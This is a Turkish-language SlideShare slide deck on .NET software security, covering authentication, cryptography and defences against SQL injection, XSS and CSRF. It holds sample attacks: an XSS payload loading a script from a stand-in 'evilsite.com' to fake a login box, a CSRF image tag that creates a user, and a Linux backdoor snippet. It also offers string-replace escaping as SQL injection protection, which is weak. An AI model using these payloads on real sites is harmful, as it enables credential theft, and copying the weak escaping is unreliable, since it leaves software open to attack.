SlideShare a Scribd company logo
1 of 38
.Net ile Yazılım
Güvenliği
A.Kutlu Ersoy,MSc.
.Net ile Yazılım Güvenliği
• Güvenli Uygulama ne demektir?
o Ağ Güvenliği
o Sistem Güvenliği
o Uygulama Güvenliği
o Veritabanı Güvenliği
o Disk Güvenliği
o Servis Güvenliği
o Kod Güvenliği
• Kriptografi (Şifreleme) Teknikleri
• Saldırıları Tanıma
• Korunma Yöntemleri
Neden güvenliğe
ihtiyacımız var?
1. Hidden Trapdoor in Linux, Nov 2003
Wait4() fonksiyonunun içine :
if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0))
retval = -EINVAL;
Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL);
2. ROB HARRIS CASE : Slot Machines
o Gaming Control Board ( bu cihazları test eden rob test ederken programa
kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor
makina)bir kişi bir seferde 100bin dolar kazanana kadar farkedilmiyor
3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir
sistemde telefon şirketinden itibaren kazanan kombinasyona
gore girişi değiştirecek kodu yazıyor.bir seferde 3milyon dolar
kazanana kadar farkedilmiyor)
Saldırıların artmasının
ardında yatan sebepler:
• Güvenlik konusunun akademik olarak tam anlamıyla
işlenmemesi
• Programlama kitaplarında güvenlik konularının
geçmemesi
• Oditing mekanizmasının olmaması (Attackların geç
farkedilmesi)
• C programlama dilinin unsafe çalışması*
• Programcılar üşengeçtirler, nasıl olsa buraya birşey olmaz
• Değiştirilmesi imkansız olan, içinde açıklar olan özellikle
eski programlar
• Müşterilerin güvenliği önemsememesi
• Güvenliğin sağlanması ek zaman ve maliyet gerektiriyor
Ağ ve Sistem Güvenliği
• Yazılımcı açısından bilinmesi gerekenler
• APN
• DOS Attacks .... Syn proxy ile korunma
• Windows Patches
• Malware & Virus
• Penetrasyon testi
Uygulama Güvenliği
• IIS nedir?
• ApplicationDomain nedir?
• Anonymous Access enabled =>
IUSR_MACHINENAME
• Authentication
Anonymous Authentication
Basic Authentication
Integrated Windows Authentication
Digest Authentication
Uygulama Güvenliği
• Anonymous Authentication: tüm kullanıcılar siteye erişir.
• Basic Authentication: Windows logini ile authentikasyon
yapılır. Siteye bağlanıldığında dialog box ile kullanıcı adı
şifre ekranı açılır.
• Digest Authentication: Basic Authentication gibi çalışır
fakat authentication verisi sunucuya açık metin yerine
hash kodu ile iletilir.
• Forms Authentication: ASP.NET’s kendi authentication
modelidir, login page ile giriş yapılmasını sağlar
• Windows Authentication: NTLM veya Kerberos üzerinden
Windows authentication protokolünü kullanır.
Uygulama Güvenliği
• web.config authorization
• Web.config authentication providers :
o Windows (default)
o Forms
o Passport
o None
<system.web>
<!-- mode=[Windows|Forms|Passport|None] -->
<authentication mode="Windows" />
</system.web>
• Event logging
Uygulama Güvenliği
• Sertifika kullanımı
o VERISIGN
o GEOTRUST
o COMODO
o GLOBALSIGN
o vs...
o TurkTrust : http://www.turktrust.com.tr/ssl-destek-iis7-ssl-yukleme.html
o E-Guven
o KamuSM
Kriptografi
• Hashing (MD5 => SHA-2(c# : SHA512Managed))
o Password Hashing
o URL Hashing
• Örnek uygulama...
Kriptografi
• Zaman Damgası
• Örnek uygulama...
• Simetrik(ör: DES, 3DES, AES : Rijndael, RC4, vs.)
Rijndael Key length
128, 192 and 256 bit
• Asimetrik Şifreleme (ör:DSA, RSA)
Kriptografi
Kriptografi
• E-İmza
• Kullanacağınız sertifikaları Devlet'in sertifika
dağıtmaya izin verdiği belirli ESHS adı verilen
kuruluşlardan alabilirsiniz. Bunların dışındaki yerlerden
aldığınız (Verisign gibi) sertifikalar yasal olarak
anlamlı değildir.
• https://yazilim.kamusm.gov.tr/
Kriptografi
• E-İmza ile nasıl imza atılır?
byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text);
//sha1 crypto service, digital signatures are created from the hash
SHA1 sha = new SHA1CryptoServiceProvider();
byte[] hash = sha.ComputeHash(data);
//Create a new instance of DSACryptoServiceProvider.
//DSA contains asymmetric public and private key information
DSACryptoServiceProvider DSA = new DSACryptoServiceProvider();
//TODO, load the sender private key into DSACryptoService here.
//Create an DSASignatureFormatter object and pass it the
//DSACryptoServiceProvider to transfer the key information.
DSASignatureFormatter DSAFormatter = new DSASignatureFormatter(DSA);
//Set the hash algorithm to SHA1.
DSAFormatter.SetHashAlgorithm("SHA1");
//Create a signature from the hash
byte[] signature = DSAFormatter.CreateSignature(hash);
Kriptografi
• E-İmza nasıl doğrulanır?
byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text);
//sha1 crypto service, digital signatures are created from the hash
SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash =
sha.ComputeHash(data);
//Create an DSASignatureDeformatter object and pass it the
//DSACryptoServiceProvider to transfer the key information.
DSASignatureDeformatter DSADeformatter = new
DSASignatureDeformatter(DSA); //Create a new instance of
DSACryptoServiceProvider. //DSA contains asymmetric public and
private key information DSACryptoServiceProvider DSA = new
DSACryptoServiceProvider(); //TODO, the sender public key into
DSACryptoService here. //get the signature sent with the message
byte[] signature = GetMessageDigitalSignature(); //Verify the hash
and the signature if (DSADeformatter.VerifySignature(hash,
signature)) { MessageBox.Show("The signature was verified."); } else {
MessageBox.Show("The signature was not verified."); }
Kod Güvenliği
• Disassembler ile kodun açılmasına karşı önlemler
o .Net Protector
o IL Protector
o SmartAssembly
o Xenecode Fox
** Reflector ile açılmaya karşı önlem alınmamış exe/dll leri açar ve içindeki
kodu değiştirebiliriz.
*** Web projelerinde publish işleminden sonra oluşan ana kütüphane
parçalarını birleştirmek için : «aspnet_merge . -o ProjeAdi.dll» kullanırsınız.
Ana dll ve referans dll lerini SmartAssembly tarzı programlarla merge ve kod
encrypt yapabilirsiniz.
HttpHandler
• Dosyalara erişimi kontrol altına almak için
kullanılabilir.
• Portal sitelerinde ürün resmi üzerine brand eklemek
için kullanılabilir.
• Örnek uygulama...
WCF - Servis Güvenliği
• İstemci – Servis iletişimi güvenliği :
Message Level – Transport Level
• Authantication:Windows, Kullanıcı Adı/ Şifre,
X509(Sertifika), Özel(Biometric), None
• http://codebetter.com/petervanooijen/2010/03/22
/a-simple-wcf-service-with-username-password-
authentication-the-things-they-don-t-tell-you/
Sql injection
• Web Uygulama Güvenliği Konsorsiyum'una (WASC)
göre 27 Temmuz 2006 tarihine kadar medyada
rapor edilen hack olaylarının %9'u SQL Enjeksiyon
saldırılarından kaynaklanmıştı. Araştırmalarda elde
edilen daha güncel veriler web sitelerinin %50'sinin
SQL Injection saldırılarından etkilendiğini ortaya
koydu.
Sql injection
• En popüler otomatik web uygulama güvenliği
tarayıcılarından bazıları:
Acunetix
Watchfire
WebInspect
• Kaynak: http://www.acunetix.com/websitesecurity/
sql-injection2.htm
Sql injection
• Db üzerinden administrator hakkı ile neler yapılabilir?
o Install backdoors
o Transfer an entire database over port 80
o Install network sniffers to steal passwords and other sensitive data
o Crack passwords
o Enumerate your internal network, including scanning the ports of other
machines
o Download files
o Run programs
o Delete files
o Become part of a botnet
o Query autocomplete passwords stored on the system
o Create new users
o Create, delete and edit data; create and drop tables
Sql injection
• Nasıl korunurum ?
• 1.string safeSql = "select * from users where loginId = " + userInp
ut.Replace("—-", "") .Replace("'","''") .Replace("%","");
• 2. Parameterized Query / SP / sp_executesql
DECLARE @name varchar(20)
DECLARE @sql nvarchar(500)
DECLARE @parameter nvarchar(500)
/* Build the SQL string one time.*/
SET @sql= N'SELECT * FROM Customer WHERE FirstName Like @Na
me Or LastName Like @Name +''%''';
SET @parameter= N'@Name varchar(20)';
/* Execute the string with the first parameter value. */
SET @name = 'm%';
EXECUTE sp_executesql @sql, @parameter, @Name = @name;
• 3. Kullanıcının yetkilerini kısıtlama : DataReader, DataWriter
Cross-Site Scripting (XSS)
• Nedir? Kullanıcı browserına zararlı script enjekte etmektir.
• Reflected(js ile sayfaya script gömme) vs
Consistent(bu scriptin dbye yazılmasıdır artık geçmiş
olsun)
http://yoursite.com/editProduct.aspx?msg=Ürün bilgisi
güncellendi
<div class="messages"> <%=Request.QueryString["msg"]%><
/div>
Nasıl kullanılır?
msg=<script
src=‘http://evilsite.com/evil.js’>ShowFakeLoginDialog()
İle kendi login ekranını açtırır, bu dialogu sitenin veya banka
login ekranına benzetir.
Hata 2 : <img onmouseover=alert([user supplied text])>
Cross-Site Scripting (XSS)
En çok forum sitelerinde karşılaşılır.string herhangi bir
değer html encoded dan geçmemiş ise bu saldırıya
açıktır.
Neler Yapabilirim :
• Cookilere ulaşırım
• Login bilgilerini alırım
Cross-Site Scripting (XSS)
Nasıl Tespit Ederim:
ZAP: Zed Attack
Proxy toolu ile
tarama yaparım.
Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 1. Outputlarımın HTML-Encoded olduğunu kontrol
etmeliyim.(HttpUtility.HtmlEncode, HttpUtility.UrlEncode)
• 2. Kullanıcının girdiği stringi HTML Element
attributelarına set etmem.
• 3. Request.Browser ile IE6 kullanımını kısıtlarım.
• 4. Web.configde veya pagede
ValidateRequest=‘false’ yapmamalıyım.
• 5. frame ve iframe’de security bilgisi ekle.
<frame security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 6. ASP.NET MVC 3’de
public class BlogEntry
{
public int UserId {get;set;}
[AllowHtml]
public string BlogText {get;set;}
}
Cross-Site Request
Forgery (CSRF)
Admin yetkisi ile yaptığın işlem ile ilgili olarak sana
gönderilen bir mail içinde
<img src='yoursite/createuser.aspx?id=hacked&pwd=hacked' />
kodu bulunuyor, farkında olmadan çalıştırmış
oluyorsun.
Nasıl önlerim?
GET ile herhangi bir operasyon yapacak kod
yazmamalıyım.
Cross-Site Request
Forgery (CSRF)
void Page_Init(object sender, EventArgs e)
{
if (Session.IsNewSession)
{
// Force session to be created;
// otherwise the session ID changes on every request.
Session["ForceSession"] = DateTime.Now;
}
// 'Sign' the viewstate with the current session.
this.ViewStateUserKey = Session.SessionID;
if (Page.EnableViewState)
{
// Make sure ViewState wasn't passed on the querystring.
// This helps prevent one-click attacks.
if (!string.IsNullOrEmpty(Request.Params["__VIEWSTATE"]) &&
string.IsNullOrEmpty(Request.Form["__VIEWSTATE"]))
{
throw new Exception("Viewstate existed, but not on the form.");
}
}
}
Cross-Site Request
Forgery (CSRF)
MVC de CSRFi önlemek için ne eklemeliyim?
@using (Html.BeginForm())
{
@Html.AntiForgeryToken();
@Html.EditorForModel();
<input type="submit" value="Submit" />
}
Decorate any controllers that accept post data with the [Validat
e-AntiForgeryToken], like so:
[HttpPost]
[ValidateAntiForgeryToken()]
public ActionResult Index(User user)
{
...
}
Parametrelerle Oynama
(Parameter Tampering)
• http://server/EditUser.aspx?userID=15
string userId = Request.QueryString["userId"];
var user = LoadUser(userId);
Hata 2. Hidden da userID’yi tutmak
Çözüm : UserID’yi authantication mekanizmasından almak, diğer formlarda
ID’yi validasyon functiondan geçirmek.(sessiondan kontrol edebilirsin).
• MVC’de binding security kontrolü için :
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit([Bind(Exclude="UserId")] Order order)
{ ....
Save();
}
Broken Authentication
and Session Management
• Tam olarak güvenliği sağlanmamış ( örneğin md5
veya benzeri bir algoritma ile korunmamış) oturum
nesneleri ve çerezlerinin ele geçirilip kötü amaçlar
için kullanılmasıdır.
Broken Authentication
and Session Management
• Kullanıcı şifreleri hashli veya encrypted mı tutuluyor?
• Kullanıcı adı ve şifreler tahmin edilebilir mi? Veya
CSRF ile değiştirilebiliyor mu?
• Parameter tempering ile kullanıcı id değiştirilebiliyor
mu?
• Session timeout set edildi mi?
• Nasıl tespit ederim? Firefox HackBar plug-in’i kurar
ve kullanırım.
Insecure Direct Object
References
• Resourceslara veya sayfalara yetkisiz erişimi kontrol
etmeliyim.
• Sayfalara erişim için kontrol ettim ama resource
dosyalarına erişim için ne yapabilirim? httpHandler
• Nasıl tespit ederim? Burp Suite uygulaması ile
tarama yaparım.
Security Misconfiguration
• Path traversal bunlardan biridir. IIS de IISPool
kullanıcısı ile çalıştığından roota çıkamaz, kendi
userımı açıyorsan uygulama için o zaman klasor
yetkilendirmesini de yapmalıyım.
• OS, DB, Firewall, IIS güncellemelerini güncel
tutmalıyım.
• Kullanılmayan portlar, servisler, sayfalar, hesaplar ve
yetkiler kaldırılmalıyım, ayrılan kullanıcının
accountunu durdurmalıyım.
• Nasıl kontrol ederim? Watobo
Sensitive Data Exposure
(Hassas veriyi açıkta bırakma)
• Kredi kartı, kişisel bilgi, hasta bilgileri, vergi bilgileri
gibi dataların açıkta bırakılmasından kaynaklanır.
Attackerların tespit etmesi kolay değildir.
• Bu bilgilerin dışarıdan öğrenilmesi, hukuksal veya
mali ne kadar bize zarar verir?
• İçerdeki saldırıları göz önünde bulundurmalıyım.
Sensitive Data Exposure
(Hassas veriyi açıkta bırakma)
• Nasıl korunurum?
• Sertifika kullanırım.
• Autocomplete’i ilgili sayfalarda kapatırım.
<form id="Form1" method="post" runat="server"
autocomplete="off">
<asp:TextBox Runat="server" ID="Textbox1"
autocomplete="off"></asp:TextBox>
Captcha
• Örnek uygulama...

More Related Content

What's hot

Nessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıNessus Kullanım Kitapçığı
Nessus Kullanım Kitapçığı
BGA Cyber Security
 

What's hot (8)

Nessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıNessus Kullanım Kitapçığı
Nessus Kullanım Kitapçığı
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain Tespiti
 
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
 
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARIMICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
 
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
 
Owasp top ten 2017
Owasp top ten   2017Owasp top ten   2017
Owasp top ten 2017
 

Similar to .Net ile yazılım güvenliği

Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
BGA Cyber Security
 
Siber güvenlik konferansı' 14 client-side security & csp (1)
Siber güvenlik konferansı' 14   client-side security & csp (1)Siber güvenlik konferansı' 14   client-side security & csp (1)
Siber güvenlik konferansı' 14 client-side security & csp (1)
Mehmet Ince
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
Mehmet Ince
 

Similar to .Net ile yazılım güvenliği (20)

Aruba ClearPass’e Genel Bakış Ve Demo Sunum
Aruba ClearPass’e Genel Bakış Ve Demo SunumAruba ClearPass’e Genel Bakış Ve Demo Sunum
Aruba ClearPass’e Genel Bakış Ve Demo Sunum
 
Writing Secure Code With .Net
Writing Secure Code With .NetWriting Secure Code With .Net
Writing Secure Code With .Net
 
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİCRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
 
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİCRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
 
Güvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptxGüvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptx
 
Asp.net ajax
Asp.net ajaxAsp.net ajax
Asp.net ajax
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
 
Siber güvenlik konferansı' 14 client-side security & csp (1)
Siber güvenlik konferansı' 14   client-side security & csp (1)Siber güvenlik konferansı' 14   client-side security & csp (1)
Siber güvenlik konferansı' 14 client-side security & csp (1)
 
Siber Güvenlikte Ofansif Yaklaşımlar
Siber Güvenlikte Ofansif YaklaşımlarSiber Güvenlikte Ofansif Yaklaşımlar
Siber Güvenlikte Ofansif Yaklaşımlar
 
Tek Kullanimlik Sifre (OTP) Ozge KAYA
Tek Kullanimlik Sifre (OTP) Ozge KAYATek Kullanimlik Sifre (OTP) Ozge KAYA
Tek Kullanimlik Sifre (OTP) Ozge KAYA
 
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Siber güvenlik ve SOC
Siber güvenlik ve SOCSiber güvenlik ve SOC
Siber güvenlik ve SOC
 
Eticaret Güvenliği
Eticaret GüvenliğiEticaret Güvenliği
Eticaret Güvenliği
 
Web Uygulama Güvenliği
Web Uygulama GüvenliğiWeb Uygulama Güvenliği
Web Uygulama Güvenliği
 
Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
 
MShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
MShowto.Org - Windows Server 2008 Güvenlik TeknolojileriMShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
MShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
 

.Net ile yazılım güvenliği

  • 2. .Net ile Yazılım Güvenliği • Güvenli Uygulama ne demektir? o Ağ Güvenliği o Sistem Güvenliği o Uygulama Güvenliği o Veritabanı Güvenliği o Disk Güvenliği o Servis Güvenliği o Kod Güvenliği • Kriptografi (Şifreleme) Teknikleri • Saldırıları Tanıma • Korunma Yöntemleri
  • 3. Neden güvenliğe ihtiyacımız var? 1. Hidden Trapdoor in Linux, Nov 2003 Wait4() fonksiyonunun içine : if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0)) retval = -EINVAL; Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL); 2. ROB HARRIS CASE : Slot Machines o Gaming Control Board ( bu cihazları test eden rob test ederken programa kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor makina)bir kişi bir seferde 100bin dolar kazanana kadar farkedilmiyor 3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir sistemde telefon şirketinden itibaren kazanan kombinasyona gore girişi değiştirecek kodu yazıyor.bir seferde 3milyon dolar kazanana kadar farkedilmiyor)
  • 4. Saldırıların artmasının ardında yatan sebepler: • Güvenlik konusunun akademik olarak tam anlamıyla işlenmemesi • Programlama kitaplarında güvenlik konularının geçmemesi • Oditing mekanizmasının olmaması (Attackların geç farkedilmesi) • C programlama dilinin unsafe çalışması* • Programcılar üşengeçtirler, nasıl olsa buraya birşey olmaz • Değiştirilmesi imkansız olan, içinde açıklar olan özellikle eski programlar • Müşterilerin güvenliği önemsememesi • Güvenliğin sağlanması ek zaman ve maliyet gerektiriyor
  • 5. Ağ ve Sistem Güvenliği • Yazılımcı açısından bilinmesi gerekenler • APN • DOS Attacks .... Syn proxy ile korunma • Windows Patches • Malware & Virus • Penetrasyon testi
  • 6. Uygulama Güvenliği • IIS nedir? • ApplicationDomain nedir? • Anonymous Access enabled => IUSR_MACHINENAME • Authentication Anonymous Authentication Basic Authentication Integrated Windows Authentication Digest Authentication
  • 7. Uygulama Güvenliği • Anonymous Authentication: tüm kullanıcılar siteye erişir. • Basic Authentication: Windows logini ile authentikasyon yapılır. Siteye bağlanıldığında dialog box ile kullanıcı adı şifre ekranı açılır. • Digest Authentication: Basic Authentication gibi çalışır fakat authentication verisi sunucuya açık metin yerine hash kodu ile iletilir. • Forms Authentication: ASP.NET’s kendi authentication modelidir, login page ile giriş yapılmasını sağlar • Windows Authentication: NTLM veya Kerberos üzerinden Windows authentication protokolünü kullanır.
  • 8. Uygulama Güvenliği • web.config authorization • Web.config authentication providers : o Windows (default) o Forms o Passport o None <system.web> <!-- mode=[Windows|Forms|Passport|None] --> <authentication mode="Windows" /> </system.web> • Event logging
  • 9. Uygulama Güvenliği • Sertifika kullanımı o VERISIGN o GEOTRUST o COMODO o GLOBALSIGN o vs... o TurkTrust : http://www.turktrust.com.tr/ssl-destek-iis7-ssl-yukleme.html o E-Guven o KamuSM
  • 10. Kriptografi • Hashing (MD5 => SHA-2(c# : SHA512Managed)) o Password Hashing o URL Hashing • Örnek uygulama...
  • 12. • Simetrik(ör: DES, 3DES, AES : Rijndael, RC4, vs.) Rijndael Key length 128, 192 and 256 bit • Asimetrik Şifreleme (ör:DSA, RSA) Kriptografi
  • 13. Kriptografi • E-İmza • Kullanacağınız sertifikaları Devlet'in sertifika dağıtmaya izin verdiği belirli ESHS adı verilen kuruluşlardan alabilirsiniz. Bunların dışındaki yerlerden aldığınız (Verisign gibi) sertifikalar yasal olarak anlamlı değildir. • https://yazilim.kamusm.gov.tr/
  • 14. Kriptografi • E-İmza ile nasıl imza atılır? byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, load the sender private key into DSACryptoService here. //Create an DSASignatureFormatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureFormatter DSAFormatter = new DSASignatureFormatter(DSA); //Set the hash algorithm to SHA1. DSAFormatter.SetHashAlgorithm("SHA1"); //Create a signature from the hash byte[] signature = DSAFormatter.CreateSignature(hash);
  • 15. Kriptografi • E-İmza nasıl doğrulanır? byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create an DSASignatureDeformatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureDeformatter DSADeformatter = new DSASignatureDeformatter(DSA); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, the sender public key into DSACryptoService here. //get the signature sent with the message byte[] signature = GetMessageDigitalSignature(); //Verify the hash and the signature if (DSADeformatter.VerifySignature(hash, signature)) { MessageBox.Show("The signature was verified."); } else { MessageBox.Show("The signature was not verified."); }
  • 16. Kod Güvenliği • Disassembler ile kodun açılmasına karşı önlemler o .Net Protector o IL Protector o SmartAssembly o Xenecode Fox ** Reflector ile açılmaya karşı önlem alınmamış exe/dll leri açar ve içindeki kodu değiştirebiliriz. *** Web projelerinde publish işleminden sonra oluşan ana kütüphane parçalarını birleştirmek için : «aspnet_merge . -o ProjeAdi.dll» kullanırsınız. Ana dll ve referans dll lerini SmartAssembly tarzı programlarla merge ve kod encrypt yapabilirsiniz.
  • 17. HttpHandler • Dosyalara erişimi kontrol altına almak için kullanılabilir. • Portal sitelerinde ürün resmi üzerine brand eklemek için kullanılabilir. • Örnek uygulama...
  • 18. WCF - Servis Güvenliği • İstemci – Servis iletişimi güvenliği : Message Level – Transport Level • Authantication:Windows, Kullanıcı Adı/ Şifre, X509(Sertifika), Özel(Biometric), None • http://codebetter.com/petervanooijen/2010/03/22 /a-simple-wcf-service-with-username-password- authentication-the-things-they-don-t-tell-you/
  • 19. Sql injection • Web Uygulama Güvenliği Konsorsiyum'una (WASC) göre 27 Temmuz 2006 tarihine kadar medyada rapor edilen hack olaylarının %9'u SQL Enjeksiyon saldırılarından kaynaklanmıştı. Araştırmalarda elde edilen daha güncel veriler web sitelerinin %50'sinin SQL Injection saldırılarından etkilendiğini ortaya koydu.
  • 20. Sql injection • En popüler otomatik web uygulama güvenliği tarayıcılarından bazıları: Acunetix Watchfire WebInspect • Kaynak: http://www.acunetix.com/websitesecurity/ sql-injection2.htm
  • 21. Sql injection • Db üzerinden administrator hakkı ile neler yapılabilir? o Install backdoors o Transfer an entire database over port 80 o Install network sniffers to steal passwords and other sensitive data o Crack passwords o Enumerate your internal network, including scanning the ports of other machines o Download files o Run programs o Delete files o Become part of a botnet o Query autocomplete passwords stored on the system o Create new users o Create, delete and edit data; create and drop tables
  • 22. Sql injection • Nasıl korunurum ? • 1.string safeSql = "select * from users where loginId = " + userInp ut.Replace("—-", "") .Replace("'","''") .Replace("%",""); • 2. Parameterized Query / SP / sp_executesql DECLARE @name varchar(20) DECLARE @sql nvarchar(500) DECLARE @parameter nvarchar(500) /* Build the SQL string one time.*/ SET @sql= N'SELECT * FROM Customer WHERE FirstName Like @Na me Or LastName Like @Name +''%'''; SET @parameter= N'@Name varchar(20)'; /* Execute the string with the first parameter value. */ SET @name = 'm%'; EXECUTE sp_executesql @sql, @parameter, @Name = @name; • 3. Kullanıcının yetkilerini kısıtlama : DataReader, DataWriter
  • 23. Cross-Site Scripting (XSS) • Nedir? Kullanıcı browserına zararlı script enjekte etmektir. • Reflected(js ile sayfaya script gömme) vs Consistent(bu scriptin dbye yazılmasıdır artık geçmiş olsun) http://yoursite.com/editProduct.aspx?msg=Ürün bilgisi güncellendi <div class="messages"> <%=Request.QueryString["msg"]%>< /div> Nasıl kullanılır? msg=<script src=‘http://evilsite.com/evil.js’>ShowFakeLoginDialog() İle kendi login ekranını açtırır, bu dialogu sitenin veya banka login ekranına benzetir. Hata 2 : <img onmouseover=alert([user supplied text])>
  • 24. Cross-Site Scripting (XSS) En çok forum sitelerinde karşılaşılır.string herhangi bir değer html encoded dan geçmemiş ise bu saldırıya açıktır. Neler Yapabilirim : • Cookilere ulaşırım • Login bilgilerini alırım
  • 25. Cross-Site Scripting (XSS) Nasıl Tespit Ederim: ZAP: Zed Attack Proxy toolu ile tarama yaparım.
  • 26. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 1. Outputlarımın HTML-Encoded olduğunu kontrol etmeliyim.(HttpUtility.HtmlEncode, HttpUtility.UrlEncode) • 2. Kullanıcının girdiği stringi HTML Element attributelarına set etmem. • 3. Request.Browser ile IE6 kullanımını kısıtlarım. • 4. Web.configde veya pagede ValidateRequest=‘false’ yapmamalıyım. • 5. frame ve iframe’de security bilgisi ekle. <frame security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
  • 27. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 6. ASP.NET MVC 3’de public class BlogEntry { public int UserId {get;set;} [AllowHtml] public string BlogText {get;set;} }
  • 28. Cross-Site Request Forgery (CSRF) Admin yetkisi ile yaptığın işlem ile ilgili olarak sana gönderilen bir mail içinde <img src='yoursite/createuser.aspx?id=hacked&pwd=hacked' /> kodu bulunuyor, farkında olmadan çalıştırmış oluyorsun. Nasıl önlerim? GET ile herhangi bir operasyon yapacak kod yazmamalıyım.
